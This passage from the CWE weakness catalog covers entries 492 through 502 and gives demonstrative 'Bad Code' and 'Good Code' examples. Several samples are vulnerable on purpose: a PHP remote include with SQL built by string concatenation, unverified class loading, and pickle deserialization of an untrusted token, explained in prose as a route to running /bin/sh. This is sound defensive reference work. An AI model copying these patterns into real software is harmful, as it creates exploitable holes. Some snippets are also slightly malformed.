Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Java Example: *Good Code*

```
public class OuterClass {
  // private member variables of OuterClass
  private String memberOne;
  private static String memberTwo;
  // constructor of OuterClass
  public OuterClass(String varOne, String varTwo) {
    this.memberOne = varOne;
    this.memberTwo = varTwo;
  }
  // InnerClass is a static inner class of OuterClass
  private static class InnerClass {
    private String innerMemberOne;
    public InnerClass(String innerVarOne) {
      this.innerMemberOne = innerVarOne;
    }
    public String concat(String separator) {
      // InnerClass only has access to static member variables of OuterClass
      return memberTwo + separator + this.innerMemberOne;
    }
  }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3:

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

Java Example: *Bad Code*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
```

CWE-492: Use of Inner Class Containing Sensitive Data

```
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(double rate)
  {
    ActionListener adder = new InterestAdder(rate);
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
  // InterestAdder is an inner class of BankAccount class
  // that implements the ActionListener interface
  private class InterestAdder implements ActionListener
  {
    private double rate;
    public InterestAdder(double aRate)
    {
      this.rate = aRate;
    }
    public void actionPerformed(ActionEvent event)
    {
      // update interest
      double interest = BankAccount.this.balance * rate / 100;
      BankAccount.this.balance += interest;
    }
  }
}
```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Java Example: *Good Code*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(final double rate)
  {
    // InterestAdder is a local inner class
    // that implements the ActionListener interface
    class InterestAdder implements ActionListener
    {
      public void actionPerformed(ActionEvent event)
      {
```

```
        // update interest
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
      }
    }
    ActionListener adder = new InterestAdder();
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
}
```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Java Example: *Good Code*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(final double rate)
  {
    // anonymous inner class that implements the ActionListener interface
    ActionListener adder = new ActionListener()
    {
      public void actionPerformed(ActionEvent event)
      {
        // update interest
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
      }
    };
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
}
```

Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Bad Code

```
public class UrlToolApplet extends Applet {
  // private member variables for applet components
  private Label enterUrlLabel;
```

```
  private TextField enterUrlTextField;
  private Button submitButton;
  // init method that adds components to applet
  // and creates button listener object
  public void init() {
    setLayout(new FlowLayout());
    enterUrlLabel = new Label("Enter URL: ");
    enterUrlTextField = new TextField("", 20);
    submitButton = new Button("Submit");
    add(enterUrlLabel);
    add(enterUrlTextField);
    add(submitButton);
    ActionListener submitButtonListener = new SubmitButtonListener();
    submitButton.addActionListener(submitButtonListener);
  }
  // button listener inner class for UrlToolApplet class
  private class SubmitButtonListener implements ActionListener {
    public void actionPerformed(ActionEvent evt) {
      if (evt.getSource() == submitButton) {
        String urlString = enterUrlTextField.getText();
        URL url = null;
        try {
          url = new URL(urlString);
        } catch (MalformedURLException e) {
          System.err.println("Malformed URL: " + urlString);
        }
        if (url != null) {
          getAppletContext().showDocument(url);
        }
      }
    }
  }
}
```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Java Example: *Good Code*

```
public class UrlToolApplet extends Applet implements ActionListener {
  // private member variables for applet components
  private Label enterUrlLabel;
  private TextField enterUrlTextField;
  private Button submitButton;
  // init method that adds components to applet
  public void init() {
    setLayout(new FlowLayout());
    enterUrlLabel = new Label("Enter URL: ");
    enterUrlTextField = new TextField("", 20);
    submitButton = new Button("Submit");
    add(enterUrlLabel);
    add(enterUrlTextField);
    add(submitButton);
    submitButton.addActionListener(this);
  }
  // implementation of actionPerformed method of ActionListener interface
  public void actionPerformed(ActionEvent evt) {
    if (evt.getSource() == submitButton) {
      String urlString = enterUrlTextField.getText();
      URL url = null;
      try {
        url = new URL(urlString);
      } catch (MalformedURLException e) {
        System.err.println("Malformed URL: " + urlString);
      }
      if (url != null) {
        getAppletContext().showDocument(url);
```

```
      }
    }
  }
}
```

Potential Mitigations

Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

Other Notes

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

CERT Java Secure Coding	OBJ08-J	Do not expose private members of an outer class from within a nested class

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID: 493 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java
- C++

Common Consequences

Integrity
Modify application data

The object could potentially be tampered with.

Confidentiality
Read application data

The object could potentially allow the object to be read.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Java Example: *Bad Code*

```
public final class WidgetData extends Applet {
  public float price;
  ...
  public WidgetData(...) {
    this.price = LookupPrice("MyWidgetType");
  }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

C++ Example: *Bad Code*

```
public string configPath = "/etc/application/config.dat";
```

Java Example: *Bad Code*

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

Potential Mitigations

Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

CWE-494: Download of Code Without Integrity Check

Weakness ID: 494 *(Weakness Base)* **Status:** Draft

Description

Summary

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Availability
Confidentiality
Other
Execute unauthorized code or commands
Alter execution logic
Other

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.

Likelihood of Exploit

Medium

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Demonstrative Examples

Example 1:

This example loads an external class from a local subdirectory.

Java Example: *Bad Code*

```
URL[] classURLs= new URL[]{
  new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

PHP Example: *Bad Code*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
  include("http://external.example.com/dbInfo.php");
  //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
  mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
  mysql_select_db($dbname);
  $query = 'Select * from users where username='.$username.' And password='.$password;
  $result = mysql_query($query);
  if(mysql_numrows($result) == 1){
    mysql_close();
    return true;
  }
  else{
    mysql_close();
    return false;
  }
  }
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow himself to access the application without a real user account.

This example is also vulnerable to a Man in the Middle (CWE-300) attack.

Observed Examples

Reference	Description
CVE-2001-1125	anti-virus product does not verify automatic updates for itself.
CVE-2002-0671	VOIP phone downloads applications from web sites without verifying integrity.
CVE-2008-3324	online poker client does not verify authenticity of its own updates.
CVE-2008-3438	OS does not verify authenticity of its own updates.

Potential Mitigations

Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Architecture and Design
Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.

Use code signing technologies such as Authenticode. See references [R.494.1] [R.494.2] [R.494.3].

Architecture and Design
Operation
Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.494.7]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Operation
Sandbox or Jail
Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Research Gaps

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

CWE-495: Private Array-Typed Field Returned From A Public Method

Weakness ID: 495 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product has a method that is declared public, but returns a reference to a private array, which could then be modified in unexpected ways.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity

Modify application data

The contents of the array can be modified from outside the intended scope.

Demonstrative Examples

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Java Example: *Bad Code*

```
private String[] colors;
public String[] getColors() {
  return colors;
}
```

Potential Mitigations

Implementation

Declare the method private.

Implementation

Clone the member data and keep an unmodified version of the data private to the object.

Implementation

Use public setter methods that govern how a member can be modified.

Relationships

Nature	Type	ID	Name	V	Page

Software Fault Patterns	SFP23	Exposed Data

White Box Definitions

A weakness where code path has a statement that belongs to a public method and returns a reference to a private array field

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID: 496 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Assigning public data to a private array is equivalent to giving public access to the array.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

- Java
- .NET

Common Consequences

Integrity

Modify application data

The contents of the array can be modified from outside the intended scope.

Demonstrative Examples

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

Java Example: *Bad Code*

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
  this.userRoles = userRoles;
}
```

Potential Mitigations

Implementation

Do not allow objects to modify private members of a class.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	485	Insufficient Encapsulation	**699** **700** **1000**	820
ChildOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	**888**	1396
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Public Data Assigned to Private Array-Typed Field
Software Fault Patterns	SFP25	Tainted input to variable

White Box Definitions

A weakness where code path has a statement that assigns a data item to a private array field and the data item is public

CWE-497: Exposure of System Data to an Unauthorized Control Sphere

Weakness ID: 497 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Exposing system data or debugging information helps an adversary learn about the system and form an attack plan.

Extended Description

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. An attacker can also cause errors to occur by submitting unusual requests to the web application. The response to these errors can reveal detailed system information, deny service, cause security mechanisms to fail, and crash the server. An attacker can use error messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

Example 1:

The following code prints the path environment variable to the standard error stream:

C Example: *Bad Code*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:

The following code prints an exception to the standard error stream:

Java Example: *Bad Code*

```
try {
  ...
} catch (Exception e) {
  e.printStackTrace();
}
```

Bad Code

```
try {
  ...
} catch (Exception e) {
  Console.Writeline(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 3:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

C# Example: *Bad Code*

```
string cs="database=northwind; server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Potential Mitigations

Architecture and Design
Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID: 498 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C++
- Java
- .NET

Common Consequences

Access Control
Bypass protection mechanism

A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.

Likelihood of Exploit

Medium

Demonstrative Examples

Java Example: *Bad Code*

```
public class CloneClient {
  public CloneClient() //throws
  java.lang.CloneNotSupportedException {
    Teacher t1 = new Teacher("guddu","22,nagar road");
    //...
    // Do some stuff to remove the teacher.
    Teacher t2 = (Teacher)t1.clone();
    System.out.println(t2.name);
  }
  public static void main(String args[]) {
    new CloneClient();
  }
}
class Teacher implements Cloneable {
  public Object clone() {
    try {
      return super.clone();
    }
    catch (java.lang.CloneNotSupportedException e) {
      throw new RuntimeException(e.toString());
    }
  }
  public String name;
  public String clas;
  public Teacher(String name,String clas) {
    this.name = name;
    this.clas = clas;
  }
}
```

Potential Mitigations

Implementation

Make classes uncloneable by defining a clone function like:

Java Example: *Mitigation Code*

```
public final void clone() throws java.lang.CloneNotSupportedException {
  throw new java.lang.CloneNotSupportedException();
}
```

Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	C	200	Information Exposure	699 1000	384

ChildOf	C	963	SFP Secondary Cluster: Exposed Data	**888**	1381
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Information leak through class cloning
CERT Java Secure Coding	OBJ07-J	Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP23	Exposed Data

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID: 499 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality

Read application data

an attacker can write out the class to a byte stream, then extract the important data from it.

Likelihood of Exploit

High

Demonstrative Examples

This code creates a new record for a medical patient:

Java Example: *Bad Code*

```
class PatientRecord {
  private String name;
  private String socialSecurityNum;
  public Patient(String name,String ssn) {
    this.SetName(name);
    this.SetSocialSecurityNumber(ssn);
  }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

Potential Mitigations

Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Implementation

Make sure to prevent serialization of your objects.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	C	200	Information Exposure	699 1000	384

Software Fault Patterns	SFP23	Exposed Data

CWE-500: Public Static Field Not Marked Final

Weakness ID: 500 *(Weakness Variant)* **Status:** Draft

Description

Summary

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C++
- Java

Common Consequences

Integrity
Modify application data

The object could potentially be tampered with.

Confidentiality
Read application data

The object could potentially allow the object to be read.

Likelihood of Exploit

High

Demonstrative Examples

The following examples use of a public static String variable to contain the name of a property/configuration file for the application.

C++ Example: *Bad Code*

```
class SomeAppClass {
  public:
    static string appPropertiesConfigFile = "app/properties.config";
  ...
}
```

Java Example: *Bad Code*

```
public class SomeAppClass {
  public static String appPropertiesFile = "app/Application.properties";
  ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

C++ Example: *Good Code*

```
class SomeAppClass {
  public:
    static const string appPropertiesConfigFile = "app/properties.config";
  ...
}
```

Java Example: *Good Code*

```
public class SomeAppClass {
  public static final String appPropertiesFile = "app/Application.properties";
  ...
}
```

Potential Mitigations

Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Implementation

Make any static fields private and constant.

A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java

Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	V	493	Critical Public Variable Without Final Modifier	**699** **1000**	835
ChildOf	C	849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	**844**	1297
ChildOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	**888**	1414

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Overflow of static internal buffer
CERT Java Secure Coding	OBJ10-J	Do not use public static nonfinal variables
Software Fault Patterns	SFP28	Unexpected access points

White Box Definitions

A weakness where code path has a statement that defines a public field that is static and non-final

CWE-501: Trust Boundary Violation

Weakness ID: 501 *(Weakness Base)* **Status:** Draft

Description

Summary

The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Java Example: *Bad Code*

```
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
  session.setAttribute(ATTR_USR, usrname);
```

```
}
```

C# Example: *Bad Code*

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
  session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

7 Pernicious Kingdoms		Trust Boundary Violation
Software Fault Patterns	SFP23	Exposed Data

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

Alternate Terms

Marshaling, Unmarshaling

Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

Pickling, Unpickling

In Python, the "pickle" functionality is used to perform serialization and deserialization.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java
- Ruby
- PHP
- Python
- Node.js

- Language-independent

Common Consequences

Varies by context

The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used.

Integrity
Modify application data
Unexpected state

Attackers can modify unexpected objects or data that was assumed to be safe from modification.

Availability
DoS: resource consumption (CPU)

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.

Authorization
Other
Other

Code could potentially make the assumption that information in the deserialized object is valid. Functions that make this dangerous assumption could be exploited.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

This code snippet deserializes an object from a file and uses it as a UI button:

Java Example: *Bad Code*

```
try {
  File file = new File("object.obj");
  ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
  javax.swing.JButton button = (javax.swing.JButton) in.readObject();
  in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [R.502.7], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Python Example: *Bad Code*

```
try {
  class ExampleProtocol(protocol.Protocol):
  def dataReceived(self, data):
  # Code that would be here would parse the incoming data
  # After receiving headers, call confirmAuth() to authenticate
  def confirmAuth(self, headers):
  try:
  token = cPickle.loads(base64.b64decode(headers['AuthToken']))
  if not check_hmac(token['signature'], token['data'], getSecretKey()):
  raise AuthFail
  self.secure_data = token['data']
  except:
  raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

Observed Examples

Reference	Description
CVE-2003-0791	Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.
CVE-2011-2520	Python script allows local users to execute code via pickled data.
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution.
CVE-2012-4406	Unsafe deserialization using pickle in a Python script.
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
CVE-2015-4852	Deserialization issue in commonly-used Java library allows remote execution.
CVE-2015-8103	Deserialization issue in commonly-used Java library allows remote execution.

Potential Mitigations

Architecture and Design
Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Implementation

